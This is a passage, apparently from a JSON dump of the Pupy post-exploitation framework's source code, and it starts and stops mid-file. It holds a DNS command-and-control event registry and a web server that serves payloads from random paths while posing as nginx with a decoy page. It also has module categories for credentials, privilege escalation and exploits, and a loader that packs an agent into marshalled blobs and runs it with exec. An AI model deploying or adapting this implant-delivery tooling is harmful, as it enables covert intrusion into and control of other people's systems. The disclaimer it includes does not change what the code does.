7\nON_DNSCNC_USERS_INCREMENT = DNSCNC | 8\nON_DNSCNC_USERS_DECREMENT = DNSCNC | 9\nON_START = SERVER | 0\nON_EXIT = SERVER | 1\n\n\nEVENTS_ID_REGISTRY = {\n    ON_START: 'start',\n    ON_EXIT: 'exit',\n    ON_CONNECT: 'connect',\n    ON_DISCONNECT: 'disconnect',\n    ON_JOB_EXIT: 'job completed',\n    ON_DNSCNC_SESSION: 'dnscnc session',\n    ON_DNSCNC_SESSION_LOST: 'dnscnc session lost',\n    ON_DNSCNC_ONLINE_STATUS: 'dnscnc online status',\n    ON_DNSCNC_EGRESS_PORTS: 'dnscnc egress ports',\n    ON_DNSCNC_PSTORE: 'dnscnc pstore',\n    ON_DNSCNC_USER_ACTIVE: 'dnscnc user active',\n    ON_DNSCNC_USER_INACTIVE: 'dnscnc user inactive',\n    ON_DNSCNC_HIGH_RESOURCE_USAGE: 'dnscnc high resource usage',\n    ON_DNSCNC_USERS_INCREMENT: 'dnscnc users increment',\n    ON_DNSCNC_USERS_DECREMENT: 'dnscnc users decrement',\n\n    ON_CLIENT_EXIT: 'client_exit',\n    ON_CLIENT_CONNECTION_FAILED: 'dnscnc connection failed'\n}\n\nclass EventRegistrationException(Exception):\n    def __init__(self, eventid):\n        super(EventRegistrationException, self).__init__(self, eventid)\n        self.eventid = eventid\n\nclass UnregisteredEventId(EventRegistrationException):\n    def __str__(self):\n        return 'Unregistered Event ID {:08x}'.format(self.eventid)\n\nclass RegisteredEventId(EventRegistrationException):\n    def __str__(self):\n        return 'Already registered Event ID %{:08x}'.format(self.eventid)\n\nclass RegistrationNotAllowed(EventRegistrationException):\n    def __str__(self):\n        return 'Registrations of global events are not allowed ' \\\n          '(Event ID {:08x})'.format(self.eventid)\n\ndef register_event_id(eventid, name, scope=CLIENT):\n    global EVENTS_ID_REGISTRY\n\n    if not eventid & CUSTOM:\n        raise RegistrationNotAllowed(eventid)\n\n    if eventid > 0x1F000000:\n        raise ValueError('Invalid Event ID: should be less then 0x1F')\n\n    elif scope not in (SERVER, CLIENT, DNSCNC):\n        raise ValueError('Invalid scope, should be one of SERVER, CLIENT, DNSCNC')\n\n    elif not all(x in ALLOWED_CHARS for x in name):\n        raise ValueError('Only digits, letters, space and underscore allowed for event names')\n\n    elif scope | eventid in EVENTS_ID_REGISTRY:\n        raise RegisteredEventId(eventid)\n\n    EVENTS_ID_REGISTRY[eventid] = name\n\n    return eventid\n\ndef unregister_event_id(eventid, scope=CLIENT):\n    global EVENTS_ID_REGISTRY\n\n    if scope | eventid not in EVENTS_ID_REGISTRY:\n        raise UnregisteredEventId(scope | eventid)\n\n    del EVENTS_ID_REGISTRY[scope | eventid]\n\ndef event_to_string(eventid):\n    event_name = EVENTS_ID_REGISTRY.get(eventid, None)\n    if event_name is None:\n        raise UnregisteredEventId(eventid)\n\n    return event_name\n\ndef event_to_config_section(eventid):\n    event_name = event_to_string(eventid)\n    return 'on_' + event_name.lower().replace(' ', '_')\n\ndef _event(eventid, client, server, handler, triggers, config, **kwargs):\n\n    actions = []\n\n    try:\n        section = event_to_config_section(eventid)\n        actions.extend(config.items(section))\n    except NoSectionError:\n        pass\n\n    try:\n        actions.extend(config.items('on_any_event'))\n    except NoSectionError:\n        pass\n\n    if not actions:\n        return\n\n    event = event_to_string(eventid)\n\n    for client_filter, action in actions:\n        if client_filter.lower() in ('this', 'self', 'current', '@'):\n            if eventid & CLIENT:\n                client_filter = client.desc['id']\n            elif eventid & DNSCNC:\n                if client:\n                    client_filter = '{:08x}'.format(client.spi)\n                elif 'node' in kwargs:\n                    client_filter = '{:012x}'.format(kwargs['node'])\n\n        if action.startswith('include:'):\n            _, included_section = action.split(':', 1)\n            try:\n                for nested in config.items(included_section):\n                    actions.append(nested)\n            except NoSectionError:\n                pass\n\n            continue\n\n        elif action.startswith('python:'):\n            _, trigger_name = action.split(':', 1)\n            server.triggers.execute(\n                trigger_name, event, client,\n                server, handler, config, **kwargs)\n\n            continue\n\n        if kwargs:\n            action = action.format(**kwargs)\n\n        criterias = []\n\n        if eventid & DNSCNC:\n            if client:\n                action = action.replace('%c', '{:08x}'.format(client.spi))\n            elif 'node' in kwargs:\n                action = action.replace('%c', '{:012x}'.format(kwargs['node']))\n\n        elif eventid & CLIENT:\n            action = action.replace('%c', '{:08x}'.format(client.desc['id']))\n\n            node = client.desc['node']\n\n            criterias = ['*', 'any']\n\n            criterias.append(node)\n            criterias.extend(list(config.tags(node)))\n\n        if client_filter not in criterias and not client_filter.startswith(('*', 'any')) and \\\n          client_filter not in server.get_clients(client_filter):\n\n            logger.info(\n                'Incompatible event: eventid=%s criterias=%s client_filter=%s action=%s',\n                event, criterias, client_filter, action)\n\n            continue\n\n        logger.info('Compatible event: eventid=%s criterias=%s client_filter=%s action=%s',\n            event, criterias, client_filter, action)\n\n        if handler:\n            if client_filter.startswith(('*', 'any')):\n                client_filter = '*'\n\n            handler.inject(\n                action, client_filter,\n                'Action for event \"{}\" apply to <{}>: {}'.format(\n                    event, client_filter, action))\n\n\ndef event(eventid, client, server, **kwargs):\n    handler = server.handler\n    config = server.config\n    triggers = server.triggers\n\n    try:\n        _event(eventid, client, server, handler, triggers, config, **kwargs)\n\n    except Error as e:\n        logger.error(e)\n\n    except Exception as e:\n        logger.exception(e)\n"
  },
  {
    "path": "pupy/pupylib/PupyVersion.py",
    "content": "# -*- coding: utf-8 -*-\n\nINFO = {\n    '__author__': 'Community',\n    '__version__': 'v3.0',\n    '__date__': 'Oct 2022',\n    '__upstream__': 'https://github.com/n1nj4sec/pupy'\n}\n\nBANNER='''\n            _____                    _       _ _\n ___ ___   |  _  |_ _ ___ _ _    ___| |_ ___| | |   ___ ___\n|___|___|  |   __| | | . | | |  |_ -|   | -_| | |  |___|___|\n           |__|  |___|  _|_  |  |___|_|_|___|_|_|\n                     |_| |___|\n\n                   {__version__} ({__date__})\n'''.format(**INFO)\n\nUPSTREAM='''\nUpstream: {__upstream__}\n'''.format(**INFO)\n\nDISCLAIMER='''The usage of this software to access any system,\nservice, or network without the owner\\'s consent is\nexpressly forbidden.\n\nPlease follow https://www.eccouncil.org/code-of-ethics/\n\nGood luck!\n'''\n"
  },
  {
    "path": "pupy/pupylib/PupyWeb.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# Copyright (c) 2017, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root\n# of the project for the detailed licence terms\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n__all__ = [\n    'RequestHandler', 'WebSocketHandler'\n]\n\nimport sys\nimport threading\nimport random\nimport string\nimport tornado.ioloop\nimport tornado.web\nimport tornado.template\n\nfrom os import path, unlink\nfrom ssl import create_default_context\n\nfrom tornado.websocket import WebSocketHandler as TornadoWebSocketHandler\nfrom tornado.web import RequestHandler as TornadoRequestHandler\nfrom tornado.web import StaticFileHandler as TornadoStaticFileHandler\nfrom tornado.web import ErrorHandler as TornadoErrorHandler\nfrom tornado.web import Application as TornadoApplication\n\nfrom pupy.pupylib.PupyOutput import Error\nfrom pupy.pupylib.PupyOutput import Success\n\nfrom socket import getaddrinfo\nfrom socket import error as socket_error\n\nif sys.version_info.major > 2:\n    xrange = range\n\n\nLOCAL_IPS = ('127.0.0.1', '::1')\n\nSERVER_HEADER = 'nginx/1.13.8'\n\n\ndef setup_local_ips(klass, kwargs):\n    config = kwargs.pop('config', None)\n\n    setattr(klass, 'config', config)\n    setattr(klass, 'local_ips', LOCAL_IPS)\n\n    if not config:\n        return\n\n    local_ips_cnf = klass.config.get('webserver', 'local_ips')\n    if not local_ips_cnf:\n        return\n\n    local_ips_set = set()\n    for item in local_ips_cnf.split(','):\n        item = item.strip()\n        try:\n            gai = getaddrinfo(item, None)\n        except socket_error:\n            continue\n\n        for result in gai:\n            for addr in result[4]:\n                local_ips_set.add(addr)\n\n    klass.local_ips = tuple(local_ips_set)\n\n\nclass ErrorHandler(TornadoErrorHandler):\n    def initialize(self, **kwargs):\n        setup_local_ips(self, kwargs)\n        super(ErrorHandler, self).initialize(**kwargs)\n\n    def set_default_headers(self):\n        self.set_header('Server', SERVER_HEADER)\n\n\nclass WebSocketHandler(TornadoWebSocketHandler):\n    def initialize(self, **kwargs):\n        setup_local_ips(self, kwargs)\n        super(WebSocketHandler, self).initialize(**kwargs)\n\n    def set_default_headers(self):\n        self.set_header('Server', SERVER_HEADER)\n\n    def prepare(self, *args, **kwargs):\n        if self.request.remote_ip not in self.local_ips:\n            self.set_status(403)\n\n            log_msg = 'Connection allowed only from local addresses'\n            self.finish(log_msg)\n            return\n\n        super(WebSocketHandler, self).prepare(*args, **kwargs)\n\n\nclass RequestHandler(TornadoRequestHandler):\n    def initialize(self, **kwargs):\n        setup_local_ips(self, kwargs)\n        super(RequestHandler, self).initialize(**kwargs)\n\n    def set_default_headers(self):\n        self.set_header('Server', SERVER_HEADER)\n\n    def prepare(self, *args, **kwargs):\n        if self.request.remote_ip not in self.local_ips:\n            self.set_status(403)\n            log_msg = 'Connection allowed only from local addresses'\n            self.finish(log_msg)\n            return\n\n        super(RequestHandler, self).prepare(*args, **kwargs)\n\n\nclass StaticTextHandler(TornadoRequestHandler):\n    def initialize(self, **kwargs):\n        self.content = kwargs.pop('content')\n        setup_local_ips(self, kwargs)\n\n        super(StaticTextHandler, self).initialize(**kwargs)\n\n    def set_default_headers(self):\n        self.set_header('Server', SERVER_HEADER)\n\n    async def get(self):\n        self.finish(self.content)\n\n\nclass PayloadsHandler(TornadoStaticFileHandler):\n    def set_default_headers(self):\n        self.set_header('Server', SERVER_HEADER)\n\n    def initialize(self, **kwargs):\n        self.mappings = kwargs.pop('mappings', {})\n        self.templates = kwargs.pop('templates', {})\n\n        setup_local_ips(self, kwargs)\n\n        super(PayloadsHandler, self).initialize(**kwargs)\n\n    def get_absolute_path(self, root, filepath):\n        if filepath in self.mappings:\n            mapped_path = self.mappings[filepath]\n\n            if path.isfile(mapped_path):\n                return path.abspath(mapped_path)\n\n            elif path.isfile(path.join(root, self.mappings)):\n                return path.abspath(\n                    path.join(root, self.mappings))\n\n        return super(PayloadsHandler, self).get_absolute_path(root, filepath)\n\n\nclass IndexHandler(tornado.web.RequestHandler):\n    def initialize(self, **kwargs):\n        setup_local_ips(self, kwargs)\n        super(IndexHandler, self).initialize(**kwargs)\n\n    def set_default_headers(self):\n        self.set_header('Server', SERVER_HEADER)\n\n    async def get(self):\n        if self.request.remote_ip in self.local_ips:\n            self.render(\"index.html\")\n        else:\n            self.render(\"nginx_index.html\")\n\n\nclass PupyWebServer(object):\n    def __init__(self, pupsrv, config):\n        self.pupsrv = pupsrv\n        self.config = config\n        self.clients = {}\n        self.mappings = {}\n\n        self.ssl = False\n\n        self.wwwroot = self.config.get(\n            'webserver', 'static_webroot_uri', None\n        ) or self.random_path()\n\n        self.preserve_payloads = self.config.getboolean(\n            'webserver', 'preserve_payloads'\n        )\n\n        self.root = self.config.get_folder('wwwroot')\n\n        self.app = None\n\n        self._thread = None\n        self._ioloop = None\n\n        self.listen = config.get('webserver', 'listen')\n        if ':' in self.listen:\n            hostname, port = self.listen.rsplit(':', 1)\n            port = int(port)\n            self.hostname, self.port = hostname, port\n        else:\n            self.hostname = self.listen\n            self.port = 9000\n\n        self.served_files = set()\n        self.aliases = {}\n        self.show_requests = self.config.getboolean('webserver', 'log')\n\n    def log(self, handler):\n        if not self.show_requests:\n            return\n\n        message = 'Web: '\n\n        if handler.request.uri in self.aliases:\n            message += '({}) '.format(self.aliases[handler.request.uri])\n\n        message += handler._request_summary()\n\n        if handler.get_status() < 400:\n            self.pupsrv.info(Success(message))\n        else:\n            self.pupsrv.info(Error(message))\n\n    def start(self):\n        webstatic = self.config.get_folder('webstatic', create=False)\n        cert = self.config.get('webserver', 'cert', None)\n        key = self.config.get('webserver', 'key', None)\n\n        self.app = TornadoApplication(\n            [\n             (r'/', IndexHandler),\n             (self.wwwroot + '/(.*)', PayloadsHandler, {\n                 'path': self.root,\n                 'mappings': self.mappings,\n             }),\n            ],\n            debug=False, template_path=webstatic,\n            log_function=self.log,\n            default_handler_class=ErrorHandler,\n            default_handler_args={\n                'status_code': 404,\n            }\n        )\n\n        ssl_options = None\n\n        if key and cert:\n            ssl_options = create_default_context(\n                certfile=cert, keyfile=key, server_side=True)\n            self.ssl = True\n\n        self.app.listen(\n            self.port,\n            address=self.hostname,\n            ssl_options=ssl_options)\n\n        self._ioloop = tornado.ioloop.IOLoop.instance()\n\n        self._thread = threading.Thread(target=self._ioloop.start)\n        self._thread.daemon = True\n        self._thread.start()\n\n        self._registered = {}\n\n    def stop(self):\n        self._ioloop.stop()\n        self._ioloop = None\n        self._thread = None\n\n        for (_, _, cleanup) in self._registered.values():\n            if cleanup:\n                cleanup()\n\n        self.mappings = {}\n        self.aliases = {}\n\n        if self.preserve_payloads:\n            return\n\n        for filepath in self.served_files:\n            if path.isfile(filepath):\n                unlink(filepath)\n\n    def get_random_path_at_webroot(self):\n        while True:\n            filename = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for _ in xrange(10))\n\n            filepath = path.join(self.root, filename)\n            if not path.isfile(filepath):\n                return filepath, filename\n\n    def random_path(self):\n        return '/' + ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for _ in xrange(10))\n\n    def register_mapping(self, name, path):\n        name = self.random_path()\n        self.mappings[name] = path\n        if name in self.mappings:\n            del self.mappings[name]\n\n    def is_registered(self, name):\n        return self._registered.get(name, (None, None, None))[0]\n\n    def serve_content(self, content, alias=None, as_file=True):\n        uri = None\n\n        if as_file:\n            filepath, filename = self.get_random_path_at_webroot()\n            try:\n                with open(filepath, 'wb') as out:\n                    out.write(content)\n                self.served_files.add(filepath)\n            except (IOError, OSError):\n                if path.isfile(filepath):\n                    unlink(filepath)\n\n                raise\n\n            uri = self.wwwroot + '/' + filename\n        else:\n            uri = self.random_path()\n            self.app.add_handlers('.*', [(\n                uri, StaticTextHandler, {\n                    'content': content\n                })])\n\n        if alias:\n            self.aliases[uri] = alias\n\n        return uri\n\n    def start_webplugin(self, name, web_handlers, cleanup=None):\n        random_path = self.random_path()\n\n        if name in self._registered:\n            random_path, _, _ = self._registered[name]\n            return self.port, random_path\n\n        klasses = []\n\n        for tab in web_handlers:\n            if len(tab) == 2:\n                uri_path, handler = tab\n                kwargs = {}\n            else:\n                uri_path, handler, kwargs = tab\n\n            ends_with_slash = uri_path.endswith('/')\n            uri_path = '/'.join(\n                x for x in [random_path] + uri_path.split('/') if x\n            )\n\n            if ends_with_slash:\n                uri_path += '/'\n\n            klasses.append(handler)\n\n            if issubclass(handler, (\n                ErrorHandler, WebSocketHandler, RequestHandler,\n                    StaticTextHandler, PayloadsHandler, IndexHandler)):\n\n                kwargs['config'] = self.config\n\n            self.app.add_handlers(\".*\", [(uri_path, handler, kwargs)])\n            self.pupsrv.info('Register webhook for {} at {}'.format(\n                name, uri_path\n            ))\n\n        self._registered[name] = random_path, klasses, cleanup\n\n        return self.port, random_path\n\n    def stop_webplugin(self, name):\n\n        if name not in self._registered:\n            return\n\n        self.pupsrv.info('Unregister webhook for {}'.format(name))\n\n        random_path, klasses, cleanup = self._registered[name]\n        removed = False\n\n        to_remove = []\n        for rule in self.app.wildcard_router.rules:\n            if rule.target in klasses:\n                to_remove.append(rule)\n                removed = True\n            elif rule.matcher.regex.pattern.startswith(random_path):\n                to_remove.append(rule)\n                removed = True\n\n        for rule in to_remove:\n            self.app.wildcard_router.rules.remove(rule)\n\n        to_remove = []\n        for rule in self.app.default_router.rules:\n            if rule.target in klasses:\n                to_remove.append(rule)\n                removed = True\n            elif rule.matcher.regex.pattern.startswith(random_path):\n                to_remove.append(rule)\n                removed = True\n\n        if cleanup:\n            cleanup()\n\n        if removed:\n            del self._registered[name]\n        else:\n            self.pupsrv.info('{} was not found [error]'.format(name))\n"
  },
  {
    "path": "pupy/pupylib/PythonCompleter.py",
    "content": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n__all__ = [\"PythonCompleter\"]\n\nclass PythonCompleter:\n    def __init__(self, local_ns=None, global_ns=None):\n        if local_ns is not None:\n            self.local_ns=local_ns\n        else:\n            self.local_ns={}\n        if global_ns is not None:\n            self.global_ns=global_ns\n        else:\n            self.global_ns={}\n\n    def complete(self, text, state):\n        if state == 0:\n            if \".\" in text:\n                self.matches = self.attr_matches(text)\n            else:\n                self.matches = self.var_matches(text)\n        try:\n            return self.matches[state]\n        except IndexError:\n            return None\n\n    def _callable_postfix(self, val, word):\n        if hasattr(val, '__call__'):\n            word = word + \"(\"\n        return word\n\n    def var_matches(self, text):\n        import re\n        m = re.match(r\"(\\w*)\", text)\n        if not m:\n            return []\n        words=[x for x in self.local_ns if x.startswith(m.group(1))]\n        if \"__builtins__\" in words:\n            words.remove(\"__builtins__\")\n        return words\n\n    def attr_matches(self, text):\n        \"\"\"Compute matches when text contains a dot.\n\n        Assuming the text is of the form NAME.NAME....[NAME], and is\n        evaluatable in self.namespace, it will be evaluated and its attributes\n        (as revealed by dir()) are used as possible completions.  (For class\n        instances, class members are also considered.)\n\n        WARNING: this can still invoke arbitrary C code, if an object\n        with a __getattr__ hook is evaluated.\n        \"\"\"\n        import re\n        bsw=\"[a-zA-Z0-9_\\\\(\\\\)\\\\[\\\\]\\\"']\"\n        m = re.match(r\"(\\w+(\\.\\w+)*)\\.(\\w*)\".replace(r\"\\w\",bsw), text)\n        if not m:\n            return []\n\n        expr, attr = m.group(1, 3)\n        try:\n            try:\n                thisobject = eval(expr, self.global_ns, self.local_ns)\n            except NameError:\n                \"\"\"\n                print str(e)\n                try:\n                    exec \"import %s\"%expr in global_ns, self.local_ns\n                    thisobject = eval(expr, global_ns, self.local_ns)\n                except ImportError:\n                    pass\n                \"\"\"\n        except:\n            return []\n\n        # get the content of the object, except __builtins__\n        words = dir(thisobject)\n        if \"__builtins__\" in words:\n            words.remove(\"__builtins__\")\n\n        if hasattr(thisobject, '__class__'):\n            words.append('__class__')\n            words.extend(get_class_members(thisobject.__class__))\n        words=[x for x in words if not x.startswith(\"__\")]\n        matches = []\n        n = len(attr)\n        for word in words:\n            if word[:n] == attr and hasattr(thisobject, word):\n                val = getattr(thisobject, word)\n                word = self._callable_postfix(val, \"%s.%s\" % (expr, word))\n                matches.append(word)\n        return matches\n\ndef get_class_members(klass):\n    ret = dir(klass)\n    if hasattr(klass,'__bases__'):\n        for base in klass.__bases__:\n            ret = ret + get_class_members(base)\n    return ret\n\nif __name__==\"__main__\":\n    import code\n    import readline\n    readline.set_completer(PythonCompleter().complete)\n    readline.parse_and_bind('tab: complete')\n    code.interact()\n"
  },
  {
    "path": "pupy/pupylib/__init__.py",
    "content": "# -*- coding: utf-8 -*-\n\n__all__ = [\n    'getLogger', 'PupyCmdLoop', 'PupyService',\n    'PupyConfig', 'PupyServer', 'PupyModule',\n    'Credentials', 'PupyClient',\n    'ROOT',\n    'HOST_SYSTEM', 'HOST_CPU_ARCH', 'HOST_OS_ARCH'\n]\n\nimport os\nimport sys\nimport platform\n\nROOT = os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))\nHOST_SYSTEM = platform.system()\nHOST_CPU_ARCH = platform.architecture()[0]\nHOST_OS_ARCH = platform.machine()\n\n\nDEPS = [\n        os.path.abspath(os.path.join(ROOT, 'library_patches_py3')),\n        os.path.abspath(os.path.join(ROOT, 'packages', 'all')),\n        ]\n\nfor dep in DEPS:\n    if not os.path.exists(dep):\n        raise Exception(\"Dependency path not found : {}\".format(dep))\n    if \"library_patches\" in dep:\n        sys.path.insert(0, dep)\n    else:\n        sys.path.append(dep)\n\n# dirty, TODO: refactor PupyCompiler to be able to call it standalone\nif not getattr(sys, '__from_build_library_zip_compiler__', False):\n    from .PupyLogger import getLogger\n\n    from .PupyConfig import PupyConfig\n    from .PupyCredentials import Credentials\n\n    from pupy.network.conf import load_network_modules\n\n    load_network_modules()\n\n    if not getattr(sys, '__pupy_main__', False):\n        from .PupyCmd import PupyCmdLoop\n        from .PupyService import PupyService\n        from .PupyModule import PupyModule\n        from .PupyClient import PupyClient\n        from .PupyServer import PupyServer\n"
  },
  {
    "path": "pupy/pupylib/conf.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms\n\n#authorized categories\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\ncategories=[\n    \"general\", \"manage\", \"admin\", \"creds\", \"exploit\",\n    \"privesc\", \"network\", \"gather\", \"troll\", \"misc\"\n]\n"
  },
  {
    "path": "pupy/pupylib/payloads/__init__.py",
    "content": ""
  },
  {
    "path": "pupy/pupylib/payloads/dependencies.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport os\nimport sys\nimport zlib\nimport marshal\n\nfrom zipfile import ZipFile\n\nfrom elftools.elf.elffile import ELFFile\nfrom io import BytesIO\n\nfrom pupy.pupylib.PupyCompile import pupycompile\nfrom pupy.pupylib.utils.arch import is_native, same_as_local_arch\nfrom pupy.pupylib import ROOT, getLogger\n\nfrom pupy.network.lib.convcompat import reprb\n\n\nif sys.version_info.major > 2:\n    import pickle\n    from os import getcwd\n\n    xrange = range\n\nelse:\n    import cPickle as pickle\n    from os import getcwdu as getcwd\n\n\nclass BinaryObjectError(ValueError):\n    pass\n\n\nclass UnsafePathError(ValueError):\n    pass\n\n\nclass NotFoundError(NameError):\n    pass\n\n\nclass IgnoreFileException(Exception):\n    pass\n\n\nclass Target(object):\n    __slots__ = (\n        'os', 'arch', 'pymaj', 'pymin', 'debug',\n        '_native', '_so', '_platform', '_purepy'\n    )\n\n    def __init__(self, python, platform=None, debug=False, purepy=False):\n        self.pymaj, self.pymin = python[:2]\n        self.debug = debug\n\n        self.pymaj = int(self.pymaj)\n        self.pymin = int(self.pymin)\n        self._purepy = purepy\n\n        if platform:\n            self.os, self.arch = platform[:2]\n\n            self.os = self.os.strip().lower()\n            self.arch = self.arch.strip().lower()\n\n            self._native = is_native(\n                self.os, self.arch, python\n            )\n\n            sover = '{}.{}'.format(self.pymaj, self.pymin)\n            if self.pymaj > 3:\n                sover += 'm'\n            self._so = 'libpython{}.so.1.0'.format(sover)\n        else:\n            self.os = None\n            self.arch = None\n            self._native = False\n\n    @property\n    def native(self):\n        return self._native\n\n    @property\n    def purepy(self):\n        return self._purepy\n\n    @property\n    def so(self):\n        return self._so\n\n    @property\n    def pyver(self):\n        return (self.pymaj, self.pymin)\n\n    @property\n    def platform(self):\n        if self.os and self.arch:\n            return (self.os, self.arch)\n        else:\n            return None\n\n    @property\n    def pyver_str(self):\n        return '{}{}'.format(self.pymaj, self.pymin)\n\n    def __repr__(self):\n        if self.os and self.arch:\n            platform = (self.os, self.arch)\n        else:\n            platform = None\n\n        return 'Target(({}, {}), {}, {})'.format(\n            repr(self.pymaj), repr(self.pymin),\n            repr(platform), repr(self.debug)\n        )\n\n\nlogger = getLogger('deps')\n\nLIBS_AUTHORIZED_PATHS = [\n    x for x in sys.path if x != ''\n] + [\n    os.path.join(ROOT, 'packages'),\n    'packages'\n]\n\nPATCHES_PATHS = [\n    os.path.abspath(os.path.join(getcwd(), 'packages', 'patches')),\n    os.path.abspath(os.path.join(ROOT, 'packages', 'patches')),\n    os.path.abspath(os.path.join(ROOT, 'library_patches_py3'))\n]\n\n# ../libs - for windows bundles, to use simple zip command\n# site-packages/win32 - for pywin32\nCOMMON_SEARCH_PREFIXES = (\n    '',\n    'site-packages/win32/lib',\n    'site-packages/win32',\n    'site-packages/pywin32_system32',\n    'site-packages',\n    'lib-dynload'\n)\n\nCOMMON_MODULE_ENDINGS = [\n    '/', '.py', '.pyo', '.pyc', '.pyd', '.so', '.dll'\n]\n\nIGNORED_ENDINGS = (\n    'tests', 'test', 'SelfTest', 'examples', 'demos', '__pycache__'\n)\n\n# dependencies to load for each modules\nWELL_KNOWN_DEPS = {\n    'pupyps': {\n        'windows': ['pupwinutils.security']\n    },\n    'pupyutils.basic_cmds': {\n        'windows': ['junctions', 'ntfs_streams'],\n        'linux': ['xattr'],\n        'all': [\n            'pupyutils', 'scandir', 'zipfile',\n            'tarfile', 'scandir', 'fsutils'\n        ],\n    },\n    'dbus': {\n        'linux': [\n            '_dbus_bindings', 'pyexpat'\n        ]\n    },\n    'sqlite3': {\n        'all': ['_sqlite3'],\n        'windows': ['sqlite3.dll'],\n    },\n    'xml': {\n        'all': ['xml.etree']\n    },\n    'wql': {\n        'windows': [\n            'win32api', 'win32com', 'pythoncom',\n            'winerror', 'wmi'\n        ]\n    },\n    'secretstorage': {\n        'linux': ['dbus']\n    },\n    'memorpy': {\n        'windows': [\n            'win32api',\n            'win32security'\n        ]\n    },\n    'scapy': {\n        'windows': [\n            'pythoncom',\n        ]\n    },\n    'win32com': {\n        'windows': [\n            'pythoncom',\n        ]\n    },\n    'pyaudio': {\n        'all': [\n            '_portaudio'\n        ]\n    },\n    'OpenSSL': {\n        'all': [\n            'six',\n            'enum',\n            'cryptography',\n            '_cffi_backend',\n            'plistlib',\n            'uu',\n            'quopri',\n            'pyparsing',\n            'pkg_resources',\n            'pprint',\n            'ipaddress',\n            'idna',\n            'unicodedata',\n        ]\n    }\n}\n\nlogger.debug('LIBS_AUTHORIZED_PATHS=%s', LIBS_AUTHORIZED_PATHS)\n\n\ndef remove_dt_needed(data, libname):\n    ef = ELFFile(data)\n    dyn = ef.get_section_by_name('.dynamic')\n\n    ent_size = dyn.header.sh_entsize\n    sect_size = dyn.header.sh_size\n    sect_offt = dyn.header.sh_offset\n\n    tag_idx = None\n\n    for idx in xrange(sect_size // ent_size):\n        tag = dyn.get_tag(idx)\n        if tag['d_tag'] == 'DT_NEEDED':\n            if tag.needed == libname:\n                tag_idx = idx\n                break\n\n    if tag_idx is None:\n        return False\n\n    null_tag = b'\\x00' * ent_size\n    dynamic_tail = None\n\n    if idx == 0:\n        dynamic_tail = dyn.data()[ent_size:] + null_tag\n    else:\n        dyndata = dyn.data()\n        dynamic_tail = dyndata[:ent_size*(idx)] + \\\n            dyndata[ent_size*(idx+1):] + null_tag\n\n    data.seek(sect_offt)\n    data.write(dynamic_tail)\n    return True\n\n\ndef safe_file_exists(f):\n    \"\"\" some file systems like vmhgfs are case insensitive and\n        os.isdir() return True for \"lAzAgNE\", so we need this check for modules\n        like LaZagne.py and lazagne gets well imported \"\"\"\n    return os.path.basename(f) in os.listdir(os.path.dirname(f))\n\n\ndef dict2code(d):\n    \"\"\" convert a dict into its python code representation, that should be compatible with any python implementation \"\"\"\n\n\ndef bootstrap(stdlib, config, autostart=True, purepy=False):\n    if \"pupy/agent/__init__.pyo\" in stdlib:\n        actions = [\n            'from __future__ import absolute_import',\n            'from __future__ import division',\n            'from __future__ import print_function',\n            'from __future__ import unicode_literals',\n\n            'import importlib.util, sys, marshal',\n        ]\n        if purepy:\n            actions += [\n                'setattr(sys,\"purepy\",True)'\n            ]\n        else:\n            actions += [\n                'setattr(sys,\"purepy\",False)'\n            ]\n        actions += [\n            'stdlib = marshal.loads({stdlib})',\n            'config = marshal.loads({config})',\n            'spec = importlib.util.spec_from_loader(\"pupy.agent\", loader=None)',\n            'agent = importlib.util.module_from_spec(spec)',\n            'agent.__file__ = str(\"pupy://pupy/agent/__init__.pyo\")',\n            'agent.__package__ = str(\"pupy.agent\")',\n            'agent.__path__ = [str(\"pupy://pupy/agent/\")]',\n\n            'exec(marshal.loads(stdlib[\"pupy/agent/__init__.pyo\"][8:]), agent.__dict__)',\n        ]\n\n        if autostart:\n            actions.append('agent.main(stdlib=stdlib, config=config)')\n        else:\n            actions.append('def main():')\n            actions.append('    agent.main(stdlib=stdlib, config=config)')\n\n        loader = '\\n'.join(actions)\n\n        return loader.format(\n            stdlib=reprb(marshal.dumps(stdlib, 2)),\n            config=reprb(marshal.dumps(config, 2))\n        )\n    else:\n        # pure python version\n        actions = [\n            'from __future__ import absolute_import',\n            'from __future__ import division',\n            'from __future__ import print_function',\n            'from __future__ import unicode_literals',\n\n            'import importlib.util, sys',\n        ]\n        if purepy:\n            actions += [\n                'setattr(sys,\"purepy\",True)'\n            ]\n        else:\n            actions += [\n                'setattr(sys,\"purepy\",False)'\n            ]\n\n        actions +=[\n            'stdlib = {stdlib}',\n            'config = {config}',\n            'spec = importlib.util.spec_from_loader(\"pupy.agent\", loader=None)',\n            'agent = importlib.util.module_from_spec(spec)',\n            'agent.__file__ = str(\"pupy://pupy/agent/__init__.py\")',\n            'agent.__package__ = str(\"pupy.agent\")',\n            'agent.__path__ = [str(\"pupy://pupy/agent/\")]',\n\n            'exec(stdlib[\"pupy/agent/__init__.py\"].decode(\"utf8\"), agent.__dict__)',\n        ]\n\n        if autostart:\n            actions.append('agent.main(stdlib=stdlib, config=config)')\n        else:\n            actions.append('def main():')\n            actions.append('    agent.main(stdlib=stdlib, config=config)')\n\n        loader = '\\n'.join(actions)\n\n        return loader.format(\n            stdlib=repr(stdlib),\n            config=repr(config)\n        )\n\n\ndef importer(\n    target, dependencies, path=None,\n        ignore_native=False, as_bundle=False, as_dict=False):\n\n    if path:\n        modules = {}\n        if not type(dependencies) in (list, tuple, set, frozenset):\n            dependencies = [dependencies]\n\n        for dependency in dependencies:\n            modules.update(from_path(target, path, dependency))\n\n        if not as_dict:\n            blob = 